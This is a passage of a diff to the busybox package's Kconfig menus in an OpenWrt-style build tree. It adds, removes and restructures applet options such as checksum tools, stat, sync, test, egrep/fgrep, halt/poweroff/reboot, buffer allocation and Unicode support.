 	  mknod is used to create FIFOs or block/character special
 	  files with the specified names.
-
 config BUSYBOX_CONFIG_MV
 	bool "mv"
 	default BUSYBOX_DEFAULT_MV
@@ -613,44 +498,37 @@ config BUSYBOX_CONFIG_FEATURE_MV_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_MV && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the mv applet.
-
 config BUSYBOX_CONFIG_NICE
 	bool "nice"
 	default BUSYBOX_DEFAULT_NICE
 	help
 	  nice runs a program with modified scheduling priority.
-
 config BUSYBOX_CONFIG_NOHUP
 	bool "nohup"
 	default BUSYBOX_DEFAULT_NOHUP
 	help
 	  run a command immune to hangups, with output to a non-tty.
-
 config BUSYBOX_CONFIG_OD
 	bool "od"
 	default BUSYBOX_DEFAULT_OD
 	help
 	  od is used to dump binary files in octal and other formats.
-
 config BUSYBOX_CONFIG_PRINTENV
 	bool "printenv"
 	default BUSYBOX_DEFAULT_PRINTENV
 	help
 	  printenv is used to print all or part of environment.
-
 config BUSYBOX_CONFIG_PRINTF
 	bool "printf"
 	default BUSYBOX_DEFAULT_PRINTF
 	help
 	  printf is used to format and print specified strings.
 	  It's similar to `echo' except it has more options.
-
 config BUSYBOX_CONFIG_PWD
 	bool "pwd"
 	default BUSYBOX_DEFAULT_PWD
 	help
 	  pwd is used to print the current directory.
-
 config BUSYBOX_CONFIG_READLINK
 	bool "readlink"
 	default BUSYBOX_DEFAULT_READLINK
@@ -664,20 +542,17 @@ config BUSYBOX_CONFIG_FEATURE_READLINK_FOLLOW
 	depends on BUSYBOX_CONFIG_READLINK
 	help
 	  Enable the readlink option (-f).
-
 config BUSYBOX_CONFIG_REALPATH
 	bool "realpath"
 	default BUSYBOX_DEFAULT_REALPATH
 	help
 	  Return the canonicalized absolute pathname.
 	  This isn't provided by GNU shellutils, but where else does it belong.
-
 config BUSYBOX_CONFIG_RM
 	bool "rm"
 	default BUSYBOX_DEFAULT_RM
 	help
 	  rm is used to remove files or directories.
-
 config BUSYBOX_CONFIG_RMDIR
 	bool "rmdir"
 	default BUSYBOX_DEFAULT_RMDIR
@@ -691,37 +566,16 @@ config BUSYBOX_CONFIG_FEATURE_RMDIR_LONG_OPTIONS
 	help
 	  Support long options for the rmdir applet, including
 	  --ignore-fail-on-non-empty for compatibility with GNU rmdir.
-
 config BUSYBOX_CONFIG_SEQ
 	bool "seq"
 	default BUSYBOX_DEFAULT_SEQ
 	help
 	  print a sequence of numbers
-
-config BUSYBOX_CONFIG_SHA1SUM
-	bool "sha1sum"
-	default BUSYBOX_DEFAULT_SHA1SUM
-	help
-	  Compute and check SHA1 message digest
-
-config BUSYBOX_CONFIG_SHA256SUM
-	bool "sha256sum"
-	default BUSYBOX_DEFAULT_SHA256SUM
-	help
-	  Compute and check SHA256 message digest
-
-config BUSYBOX_CONFIG_SHA512SUM
-	bool "sha512sum"
-	default BUSYBOX_DEFAULT_SHA512SUM
-	help
-	  Compute and check SHA512 message digest
-
-config BUSYBOX_CONFIG_SHA3SUM
-	bool "sha3sum"
-	default BUSYBOX_DEFAULT_SHA3SUM
+config BUSYBOX_CONFIG_SHUF
+	bool "shuf"
+	default BUSYBOX_DEFAULT_SHUF
 	help
-	  Compute and check SHA3 (512-bit) message digest
-
+	  Generate random permutations
 config BUSYBOX_CONFIG_SLEEP
 	bool "sleep"
 	default BUSYBOX_DEFAULT_SLEEP
@@ -749,7 +603,6 @@ config BUSYBOX_CONFIG_FEATURE_FLOAT_SLEEP
 	depends on BUSYBOX_CONFIG_FEATURE_FANCY_SLEEP
 	help
 	  Allow for fractional numeric parameters.
-
 config BUSYBOX_CONFIG_SORT
 	bool "sort"
 	default BUSYBOX_DEFAULT_SORT
@@ -767,7 +620,6 @@ config BUSYBOX_CONFIG_FEATURE_SORT_BIG
 
 	  The SuSv3 sort standard is available at:
 	  http://www.opengroup.org/onlinepubs/007904975/utilities/sort.html
-
 config BUSYBOX_CONFIG_SPLIT
 	bool "split"
 	default BUSYBOX_DEFAULT_SPLIT
@@ -782,25 +634,56 @@ config BUSYBOX_CONFIG_FEATURE_SPLIT_FANCY
 	  Add support for features not required by SUSv3.
 	  Supports additional suffixes 'b' for 512 bytes,
 	  'g' for 1GiB for the -b option.
+config BUSYBOX_CONFIG_STAT
+	bool "stat"
+	default BUSYBOX_DEFAULT_STAT
+	help
+	  display file or filesystem status.
+
+config BUSYBOX_CONFIG_FEATURE_STAT_FORMAT
+	bool "Enable custom formats (-c)"
+	default BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
+	depends on BUSYBOX_CONFIG_STAT
+	help
+	  Without this, stat will not support the '-c format' option where
+	  users can pass a custom format string for output. This adds about
+	  7k to a nonstatic build on amd64.
 
+config BUSYBOX_CONFIG_FEATURE_STAT_FILESYSTEM
+	bool "Enable display of filesystem status (-f)"
+	default BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
+	depends on BUSYBOX_CONFIG_STAT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX # statfs()
+	help
+	  Without this, stat will not support the '-f' option to display
+	  information about filesystem status.
 config BUSYBOX_CONFIG_STTY
 	bool "stty"
 	default BUSYBOX_DEFAULT_STTY
 	help
 	  stty is used to change and print terminal line settings.
-
 config BUSYBOX_CONFIG_SUM
 	bool "sum"
 	default BUSYBOX_DEFAULT_SUM
 	help
 	  checksum and count the blocks in a file
-
+config BUSYBOX_CONFIG_SYNC
+	bool "sync"
+	default BUSYBOX_DEFAULT_SYNC
+	help
+	  sync is used to flush filesystem buffers.
+config BUSYBOX_CONFIG_FEATURE_SYNC_FANCY
+	bool "Enable -d and -f flags (requires syncfs(2) in libc)"
+	default BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
+	depends on BUSYBOX_CONFIG_SYNC
+	help
+	  sync -d FILE... executes fdatasync() on each FILE.
+	  sync -f FILE... executes syncfs() on each FILE.
 config BUSYBOX_CONFIG_TAC
 	bool "tac"
 	default BUSYBOX_DEFAULT_TAC
 	help
 	  tac is used to concatenate and print files in reverse.
-
 config BUSYBOX_CONFIG_TAIL
 	bool "tail"
 	default BUSYBOX_DEFAULT_TAIL
@@ -820,7 +703,6 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_TAIL
 	    -s SEC  Wait SEC seconds between reads with -f
 	    -v      Always output headers giving file names
 	    -F      Same as -f, but keep retrying
-
 config BUSYBOX_CONFIG_TEE
 	bool "tee"
 	default BUSYBOX_DEFAULT_TEE
@@ -834,20 +716,95 @@ config BUSYBOX_CONFIG_FEATURE_TEE_USE_BLOCK_IO
 	depends on BUSYBOX_CONFIG_TEE
 	help
 	  Enable this option for a faster tee, at expense of size.
+config BUSYBOX_CONFIG_TEST
+	bool "test"
+	default BUSYBOX_DEFAULT_TEST
+	help
+	  test is used to check file types and compare values,
+	  returning an appropriate exit code. The bash shell
+	  has test built in, ash can build it in optionally.
+
+config BUSYBOX_CONFIG_TEST1
+	bool "test as ["
+	default BUSYBOX_DEFAULT_TEST1
+	help
+	  Provide test command in the "[ EXPR ]" form
+
+config BUSYBOX_CONFIG_TEST2
+	bool "test as [["
+	default BUSYBOX_DEFAULT_TEST2
+	help
+	  Provide test command in the "[[ EXPR ]]" form
+
+config BUSYBOX_CONFIG_FEATURE_TEST_64
+	bool "Extend test to 64 bit"
+	default BUSYBOX_DEFAULT_FEATURE_TEST_64
+	depends on BUSYBOX_CONFIG_TEST || BUSYBOX_CONFIG_TEST1 || BUSYBOX_CONFIG_TEST2 || BUSYBOX_CONFIG_ASH_BUILTIN_TEST || BUSYBOX_CONFIG_HUSH
+	help
+	  Enable 64-bit support in test.
+config BUSYBOX_CONFIG_TOUCH
+	bool "touch"
+	default BUSYBOX_DEFAULT_TOUCH
+	help
+	  touch is used to create or change the access and/or
+	  modification timestamp of specified files.
+
+config BUSYBOX_CONFIG_FEATURE_TOUCH_NODEREF
+	bool "Add support for -h"
+	default BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
+	depends on BUSYBOX_CONFIG_TOUCH
+	help
+	  Enable touch to have the -h option.
+	  This requires libc support for lutimes() function.
+
+config BUSYBOX_CONFIG_FEATURE_TOUCH_SUSV3
+	bool "Add support for SUSV3 features (-d -t -r)"
+	default BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
+	depends on BUSYBOX_CONFIG_TOUCH
+	help
+	  Enable touch to use a reference file or a given date/time argument.
+config BUSYBOX_CONFIG_TR
+	bool "tr"
+	default BUSYBOX_DEFAULT_TR
+	help
+	  tr is used to squeeze, and/or delete characters from standard
+	  input, writing to standard output.
 
+config BUSYBOX_CONFIG_FEATURE_TR_CLASSES
+	bool "Enable character classes (such as [:upper:])"
+	default BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
+	depends on BUSYBOX_CONFIG_TR
+	help
+	  Enable character classes, enabling commands such as:
+	  tr [:upper:] [:lower:] to convert input into lowercase.
+
+config BUSYBOX_CONFIG_FEATURE_TR_EQUIV
+	bool "Enable equivalence classes"
+	default BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
+	depends on BUSYBOX_CONFIG_TR
+	help
+	  Enable equivalence classes, which essentially add the enclosed
+	  character to the current set. For instance, tr [=a=] xyz would
+	  replace all instances of 'a' with 'xyz'. This option is mainly
+	  useful for cases when no other way of expressing a character
+	  is possible.
 config BUSYBOX_CONFIG_TRUE
 	bool "true"
 	default BUSYBOX_DEFAULT_TRUE
 	help
 	  true returns an exit code of TRUE (0).
-
+config BUSYBOX_CONFIG_TRUNCATE
+	bool "truncate"
+	default BUSYBOX_DEFAULT_TRUNCATE
+	help
+	  truncate truncates files to a given size. If a file does
+	  not exist, it is created unless told otherwise.
 config BUSYBOX_CONFIG_TTY
 	bool "tty"
 	default BUSYBOX_DEFAULT_TTY
 	help
 	  tty is used to print the name of the current terminal to
 	  standard output.
-
 config BUSYBOX_CONFIG_UNAME
 	bool "uname"
 	default BUSYBOX_DEFAULT_UNAME
@@ -861,44 +818,36 @@ config BUSYBOX_CONFIG_UNAME_OSNAME
 	help
 	  Sets the operating system name reported by uname -o.  The
 	  default BUSYBOX_DEFAULT_UNAME_OSNAME "GNU/Linux".
-
-config BUSYBOX_CONFIG_UNEXPAND
-	bool "unexpand"
-	default BUSYBOX_DEFAULT_UNEXPAND
-	help
-	  By default, convert only leading sequences of blanks to tabs.
-
-config BUSYBOX_CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS
-	bool "Enable long options"
-	default BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_UNEXPAND && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Support long options for the unexpand applet.
-
 config BUSYBOX_CONFIG_UNIQ
 	bool "uniq"
 	default BUSYBOX_DEFAULT_UNIQ
 	help
 	  uniq is used to remove duplicate lines from a sorted file.
-
+config BUSYBOX_CONFIG_UNLINK
+	bool "unlink"
+	default BUSYBOX_DEFAULT_UNLINK
+	help
+	  unlink deletes a file by calling unlink()
 config BUSYBOX_CONFIG_USLEEP
 	bool "usleep"
 	default BUSYBOX_DEFAULT_USLEEP
 	help
 	  usleep is used to pause for a specified number of microseconds.
-
 config BUSYBOX_CONFIG_UUDECODE
 	bool "uudecode"
 	default BUSYBOX_DEFAULT_UUDECODE
 	help
 	  uudecode is used to decode a uuencoded file.
-
+config BUSYBOX_CONFIG_BASE64
+	bool "base64"
+	default BUSYBOX_DEFAULT_BASE64
+	help
+	  Base64 encode and decode
 config BUSYBOX_CONFIG_UUENCODE
 	bool "uuencode"
 	default BUSYBOX_DEFAULT_UUENCODE
 	help
 	  uuencode is used to uuencode a file.
-
 config BUSYBOX_CONFIG_WC
 	bool "wc"
 	default BUSYBOX_DEFAULT_WC
@@ -912,14 +861,25 @@ config BUSYBOX_CONFIG_FEATURE_WC_LARGE
 	depends on BUSYBOX_CONFIG_WC
 	help
 	  Use "unsigned long long" in wc for counter variables.
+config BUSYBOX_CONFIG_WHO
+      bool "who"
+      default BUSYBOX_DEFAULT_WHO
+      depends on BUSYBOX_CONFIG_FEATURE_UTMP
+      help
+        who is used to show who is logged on.
 
+config BUSYBOX_CONFIG_USERS
+      bool "users"
+      default BUSYBOX_DEFAULT_USERS
+      depends on BUSYBOX_CONFIG_FEATURE_UTMP
+      help
+        Print users currently logged on.
 config BUSYBOX_CONFIG_WHOAMI
 	bool "whoami"
 	default BUSYBOX_DEFAULT_WHOAMI
 	help
 	  whoami is used to print the username of the current
 	  user id (same as id -un).
-
 config BUSYBOX_CONFIG_YES
 	bool "yes"
 	default BUSYBOX_DEFAULT_YES
@@ -971,17 +931,4 @@ config BUSYBOX_CONFIG_FEATURE_HUMAN_READABLE
 	help
 	  Allow df, du, and ls to have human readable output.
 
-comment "Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum"
-	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
-
-config BUSYBOX_CONFIG_FEATURE_MD5_SHA1_SUM_CHECK
-	bool "Enable -c, -s and -w options"
-	default BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
-	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
-	help
-	  Enabling the -c options allows files to be checked
-	  against pre-calculated hash values.
-
-	  -s and -w are useful options when verifying checksums.
-
 endmenu
diff --git a/package/utils/busybox/config/findutils/Config.in b/package/utils/busybox/config/findutils/Config.in
index 85ee1db..7d636d1 100644
--- a/package/utils/busybox/config/findutils/Config.in
+++ b/package/utils/busybox/config/findutils/Config.in
@@ -194,28 +194,22 @@ config BUSYBOX_CONFIG_GREP
 	help
 	  grep is used to search files for a specified pattern.
 
-config BUSYBOX_CONFIG_FEATURE_GREP_EGREP_ALIAS
-	bool "Enable extended regular expressions (egrep & grep -E)"
-	default BUSYBOX_DEFAULT_FEATURE_GREP_EGREP_ALIAS
-	depends on BUSYBOX_CONFIG_GREP
+config BUSYBOX_CONFIG_EGREP
+	bool "egrep"
+	default BUSYBOX_DEFAULT_EGREP
 	help
-	  Enabled support for extended regular expressions. Extended
-	  regular expressions allow for alternation (foo|bar), grouping,
-	  and various repetition operators.
+	  Alias to "grep -E"
 
-config BUSYBOX_CONFIG_FEATURE_GREP_FGREP_ALIAS
-	bool "Alias fgrep to grep -F"
-	default BUSYBOX_DEFAULT_FEATURE_GREP_FGREP_ALIAS
-	depends on BUSYBOX_CONFIG_GREP
+config BUSYBOX_CONFIG_FGREP
+	bool "fgrep"
+	default BUSYBOX_DEFAULT_FGREP
 	help
-	  fgrep sees the search pattern as a normal string rather than
-	  regular expressions.
-	  grep -F always works, this just creates the fgrep alias.
+	  Alias to "grep -F"
 
 config BUSYBOX_CONFIG_FEATURE_GREP_CONTEXT
 	bool "Enable before and after context flags (-A, -B and -C)"
 	default BUSYBOX_DEFAULT_FEATURE_GREP_CONTEXT
-	depends on BUSYBOX_CONFIG_GREP
+	depends on BUSYBOX_CONFIG_GREP || BUSYBOX_CONFIG_EGREP
 	help
 	  Print the specified number of leading (-B) and/or trailing (-A)
 	  context surrounding our matching lines.
diff --git a/package/utils/busybox/config/init/Config.in b/package/utils/busybox/config/init/Config.in
index 021656d..cd1a345 100644
--- a/package/utils/busybox/config/init/Config.in
+++ b/package/utils/busybox/config/init/Config.in
@@ -45,15 +45,27 @@ config BUSYBOX_CONFIG_FEATURE_BOOTCHARTD_CONFIG_FILE
 	  Enable reading and parsing of $PWD/bootchartd.conf
 	  and /etc/bootchartd.conf files.
 config BUSYBOX_CONFIG_HALT
-	bool "poweroff, halt, and reboot"
+	bool "halt"
 	default BUSYBOX_DEFAULT_HALT
 	help
-	  Stop all processes and either halt, reboot, or power off the system.
+	  Stop all processes and halt the system.
+
+config BUSYBOX_CONFIG_POWEROFF
+	bool "poweroff"
+	default BUSYBOX_DEFAULT_POWEROFF
+	help
+	  Stop all processes and power off the system.
+
+config BUSYBOX_CONFIG_REBOOT
+	bool "reboot"
+	default BUSYBOX_DEFAULT_REBOOT
+	help
+	  Stop all processes and reboot the system.
 
 config BUSYBOX_CONFIG_FEATURE_CALL_TELINIT
 	bool "Call telinit on shutdown and reboot"
 	default BUSYBOX_DEFAULT_FEATURE_CALL_TELINIT
-	depends on BUSYBOX_CONFIG_HALT && !BUSYBOX_CONFIG_INIT
+	depends on (BUSYBOX_CONFIG_HALT || BUSYBOX_CONFIG_POWEROFF || BUSYBOX_CONFIG_REBOOT) && !BUSYBOX_CONFIG_INIT
 	help
 	  Call an external program (normally telinit) to facilitate
 	  a switch to a proper runlevel.
@@ -143,7 +155,7 @@ config BUSYBOX_CONFIG_FEATURE_EXTRA_QUIET
 
 config BUSYBOX_CONFIG_FEATURE_INIT_COREDUMPS
 	bool "Support dumping core for child processes (debugging only)"
-	default BUSYBOX_DEFAULT_FEATURE_INIT_COREDUMPS
+	default BUSYBOX_DEFAULT_FEATURE_INIT_COREDUMPS	# not Y because this is a debug option
 	depends on BUSYBOX_CONFIG_INIT || BUSYBOX_CONFIG_LINUXRC
 	help
 	  If this option is enabled and the file /.init_enable_core
diff --git a/package/utils/busybox/config/libbb/Config.in b/package/utils/busybox/config/libbb/Config.in
index 0695f9b..ec08351 100644
--- a/package/utils/busybox/config/libbb/Config.in
+++ b/package/utils/busybox/config/libbb/Config.in
@@ -45,6 +45,30 @@ config BUSYBOX_CONFIG_FEATURE_RTMINMAX
 	  Support RTMIN[+n] and RTMAX[-n] signal names
 	  in kill, killall etc. This costs ~250 bytes.
 
+choice
+	prompt "Buffer allocation policy"
+	default BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
+	help
+	  There are 3 ways BusyBox can handle buffer allocations:
+	  - Use malloc. This costs code size for the call to xmalloc.
+	  - Put them on stack. For some very small machines with limited stack
+	    space, this can be deadly. For most folks, this works just fine.
+	  - Put them in BSS. This works beautifully for computers with a real
+	    MMU (and OS support), but wastes runtime RAM for uCLinux. This
+	    behavior was the only one available for BusyBox versions 0.48 and
+	    earlier.
+
+config BUSYBOX_CONFIG_FEATURE_BUFFERS_USE_MALLOC
+	bool "Allocate with Malloc"
+
+config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
+	bool "Allocate on the Stack"
+
+config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_IN_BSS
+	bool "Allocate in the .bss section"
+
+endchoice
+
 config BUSYBOX_CONFIG_PASSWORD_MINLEN
 	int "Minimum password length"
 	default BUSYBOX_DEFAULT_PASSWORD_MINLEN
@@ -191,6 +215,131 @@ config BUSYBOX_CONFIG_FEATURE_EDITING_ASK_TERMINAL
 	  correctly, or want to save on code size (about 400 bytes),
 	  then do not turn this option on.
 
+config BUSYBOX_CONFIG_LOCALE_SUPPORT
+	bool "Enable locale support (system needs locale for this to work)"
+	default BUSYBOX_DEFAULT_LOCALE_SUPPORT
+	help
+	  Enable this if your system has locale support and you would like
+	  busybox to support locale settings.
+
+config BUSYBOX_CONFIG_UNICODE_SUPPORT
+	bool "Support Unicode"
+	default BUSYBOX_DEFAULT_UNICODE_SUPPORT
+	help
+	  This makes various applets aware that one byte is not
+	  one character on screen.
+
+	  Busybox aims to eventually work correctly with Unicode displays.
+	  Any older encodings are not guaranteed to work.
+	  Probably by the time when busybox will be fully Unicode-clean,
+	  other encodings will be mainly of historic interest.
+
+config BUSYBOX_CONFIG_UNICODE_USING_LOCALE
+	bool "Use libc routines for Unicode (else uses internal ones)"
+	default BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && BUSYBOX_CONFIG_LOCALE_SUPPORT
+	help
+	  With this option on, Unicode support is implemented using libc
+	  routines. Otherwise, internal implementation is used.
+	  Internal implementation is smaller.
+
+config BUSYBOX_CONFIG_FEATURE_CHECK_UNICODE_IN_ENV
+	bool "Check $LC_ALL, $LC_CTYPE and $LANG environment variables"
+	default BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
+	help
+	  With this option on, Unicode support is activated
+	  only if locale-related variables have the value of the form
+	  "xxxx.utf8"
+
+	  Otherwise, Unicode support will be always enabled and active.
+
+config BUSYBOX_CONFIG_SUBST_WCHAR
+	int "Character code to substitute unprintable characters with"
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	default BUSYBOX_DEFAULT_SUBST_WCHAR
+	help
+	  Typical values are 63 for '?' (works with any output device),
+	  30 for ASCII substitute control code,
+	  65533 (0xfffd) for Unicode replacement character.
+
+config BUSYBOX_CONFIG_LAST_SUPPORTED_WCHAR
+	int "Range of supported Unicode characters"
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	default BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
+	help
+	  Any character with Unicode value bigger than this is assumed
+	  to be non-printable on output device. Many applets replace
+	  such characters with substitution character.
+
+	  The idea is that many valid printable Unicode chars
+	  nevertheless are not displayed correctly. Think about
+	  combining charachers, double-wide hieroglyphs, obscure
+	  characters in dozens of ancient scripts...
+	  Many terminals, terminal emulators, xterms etc will fail
+	  to handle them correctly. Choose the smallest value
+	  which suits your needs.
+
+	  Typical values are:
+	  126 - ASCII only
+	  767 (0x2ff) - there are no combining chars in [0..767] range
+			(the range includes Latin 1, Latin Ext. A and B),
+			code is ~700 bytes smaller for this case.
+	  4351 (0x10ff) - there are no double-wide chars in [0..4351] range,
+			code is ~300 bytes smaller for this case.
+	  12799 (0x31ff) - nearly all non-ideographic characters are
+			available in [0..12799] range, including
+			East Asian scripts like katakana, hiragana, hangul,
+			bopomofo...
+	  0 - off, any valid printable Unicode character will be printed.
+
+config BUSYBOX_CONFIG_UNICODE_COMBINING_WCHARS
+	bool "Allow zero-width Unicode characters on output"
+	default BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	help
+	  With this option off, any Unicode char with width of 0
+	  is substituted on output.
+
+config BUSYBOX_CONFIG_UNICODE_WIDE_WCHARS
+	bool "Allow wide Unicode characters on output"
+	default BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	help
+	  With this option off, any Unicode char with width > 1
+	  is substituted on output.
+
+config BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
+	bool "Bidirectional character-aware line input"
+	default BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
+	help
+	  With this option on, right-to-left Unicode characters
+	  are treated differently on input (e.g. cursor movement).
+
+config BUSYBOX_CONFIG_UNICODE_NEUTRAL_TABLE
+	bool "In bidi input, support non-ASCII neutral chars too"
+	default BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
+	depends on BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
+	help
+	  In most cases it's enough to treat only ASCII non-letters
+	  (i.e. punctuation, numbers and space) as characters
+	  with neutral directionality.
+	  With this option on, more extensive (and bigger) table
+	  of neutral chars will be used.
+
+config BUSYBOX_CONFIG_UNICODE_PRESERVE_BROKEN
+	bool "Make it possible to enter sequences of chars which are not Unicode"
+	default BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
+	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
+	help
+	  With this option on, on line-editing input (such as used by shells)
+	  invalid UTF-8 bytes are not substituted with the selected
+	  substitution character.
+	  For example, this means that entering 'l', 's', ' ', 0xff, [Enter]
+	  at shell prompt will list file named 0xff (single char name
+	  with char value 255), not file named '?'.
+
 config BUSYBOX_CONFIG_FEATURE_NON_POSIX_CP
 	bool "Non-POSIX, but safer, copying to special nodes"
 	default BUSYBOX_DEFAULT_FEATURE_NON_POSIX_CP
@@ -215,6 +364,19 @@ config BUSYBOX_CONFIG_FEATURE_VERBOSE_CP_MESSAGE
 	    cp: cannot stat '/vmlinuz/file': Not a directory
 	  This will cost you ~60 bytes.
 
+config BUSYBOX_CONFIG_FEATURE_USE_SENDFILE
+	bool "Use sendfile system call"
+	default BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  When enabled, busybox will use the kernel sendfile() function
+	  instead of read/write loops to copy data between file descriptors
+	  (for example, cp command does this a lot).
+	  If sendfile() doesn't work, copying code falls back to read/write
+	  loop. sendfile() was originally implemented for faster I/O
+	  from files to sockets, but since Linux 2.6.33 it was extended
+	  to work for many more file types.
+
 config BUSYBOX_CONFIG_FEATURE_COPYBUF_KB
 	int "Copy buffer size, in kilobytes"
 	range 1 1024
diff --git a/package/utils/busybox/config/mailutils/Config.in b/package/utils/busybox/config/mailutils/Config.in
index 64b9a2b..7e77407 100644
--- a/package/utils/busybox/config/mailutils/Config.in
+++ b/package/utils/busybox/config/mailutils/Config.in
@@ -1,20 +1,11 @@
 # DO NOT EDIT. This file is generated from Config.src
 menu "Mail Utilities"
 
-
 config BUSYBOX_CONFIG_MAKEMIME
 	bool "makemime"
 	default BUSYBOX_DEFAULT_MAKEMIME
 	help
 	  Create MIME-formatted messages.
-
-config BUSYBOX_CONFIG_FEATURE_MIME_CHARSET
-	string "Default charset"
-	default BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
-	depends on BUSYBOX_CONFIG_MAKEMIME || BUSYBOX_CONFIG_REFORMIME || BUSYBOX_CONFIG_SENDMAIL
-	help
-	  Default charset of the message.
-
 config BUSYBOX_CONFIG_POPMAILDIR
 	bool "popmaildir"
 	default BUSYBOX_DEFAULT_POPMAILDIR
@@ -31,7 +22,6 @@ config BUSYBOX_CONFIG_FEATURE_POPMAILDIR_DELIVERY
 	  of the message before actual delivery (-F "prog [args...]").
 	  Allow to use a custom program for message actual delivery
 	  (-M "prog [args...]").
-
 config BUSYBOX_CONFIG_REFORMIME
 	bool "reformime"
 	default BUSYBOX_DEFAULT_REFORMIME
@@ -45,11 +35,17 @@ config BUSYBOX_CONFIG_FEATURE_REFORMIME_COMPAT
 	help
 	  Accept (for compatibility only) and ignore options
 	  other than -x and -X.
-
 config BUSYBOX_CONFIG_SENDMAIL
 	bool "sendmail"
 	default BUSYBOX_DEFAULT_SENDMAIL
 	help
 	  Barebones sendmail.
 
+config BUSYBOX_CONFIG_FEATURE_MIME_CHARSET
+	string "Default charset"
+	default BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
+	depends on BUSYBOX_CONFIG_MAKEMIME || BUSYBOX_CONFIG_REFORMIME || BUSYBOX_CONFIG_SENDMAIL
+	help
+	  Default charset of the message.
+
 endmenu
diff --git a/package/utils/busybox/config/miscutils/Config.in b/package/utils/busybox/config/miscutils/Config.in
index 3465df4..817a514 100644
--- a/package/utils/busybox/config/miscutils/Config.in
+++ b/package/utils/busybox/config/miscutils/Config.in
@@ -6,259 +6,6 @@
 
 menu "Miscellaneous Utilities"
 
-config BUSYBOX_CONFIG_CONSPY
-	bool "conspy"
-	default BUSYBOX_DEFAULT_CONSPY
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  A text-mode VNC like program for Linux virtual terminals.
-	  example:  conspy NUM      shared access to console num
-	  or        conspy -nd NUM  screenshot of console num
-	  or        conspy -cs NUM  poor man's GNU screen like
-config BUSYBOX_CONFIG_CROND
-	bool "crond"
-	default BUSYBOX_DEFAULT_CROND
-	select BUSYBOX_CONFIG_FEATURE_SYSLOG
-	help
-	  Crond is a background daemon that parses individual crontab
-	  files and executes commands on behalf of the users in question.
-	  This is a port of dcron from slackware. It uses files of the
-	  format /var/spool/cron/crontabs/<username> files, for example:
-	      $ cat /var/spool/cron/crontabs/root
-	      # Run daily cron jobs at 4:40 every day:
-	      40 4 * * * /etc/cron/daily > /dev/null 2>&1
-
-config BUSYBOX_CONFIG_FEATURE_CROND_D
-	bool "Support option -d to redirect output to stderr"
-	depends on BUSYBOX_CONFIG_CROND
-	default BUSYBOX_DEFAULT_FEATURE_CROND_D
-	help
-	  -d N sets loglevel (0:most verbose) and directs all output to stderr.
-
-config BUSYBOX_CONFIG_FEATURE_CROND_CALL_SENDMAIL
-	bool "Report command output via email (using sendmail)"
-	default BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
-	depends on BUSYBOX_CONFIG_CROND
-	help
-	  Command output will be sent to corresponding user via email.
-
-config BUSYBOX_CONFIG_FEATURE_CROND_DIR
-	string "crond spool directory"
-	default BUSYBOX_DEFAULT_FEATURE_CROND_DIR
-	depends on BUSYBOX_CONFIG_CROND || BUSYBOX_CONFIG_CRONTAB
-	help
-	  Location of crond spool.
-config BUSYBOX_CONFIG_I2CGET
-	bool "i2cget"
-	default BUSYBOX_DEFAULT_I2CGET
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Read from I2C/SMBus chip registers.
-
-config BUSYBOX_CONFIG_I2CSET
-	bool "i2cset"
-	default BUSYBOX_DEFAULT_I2CSET
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Set I2C registers.
-
-config BUSYBOX_CONFIG_I2CDUMP
-	bool "i2cdump"
-	default BUSYBOX_DEFAULT_I2CDUMP
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Examine I2C registers.
-
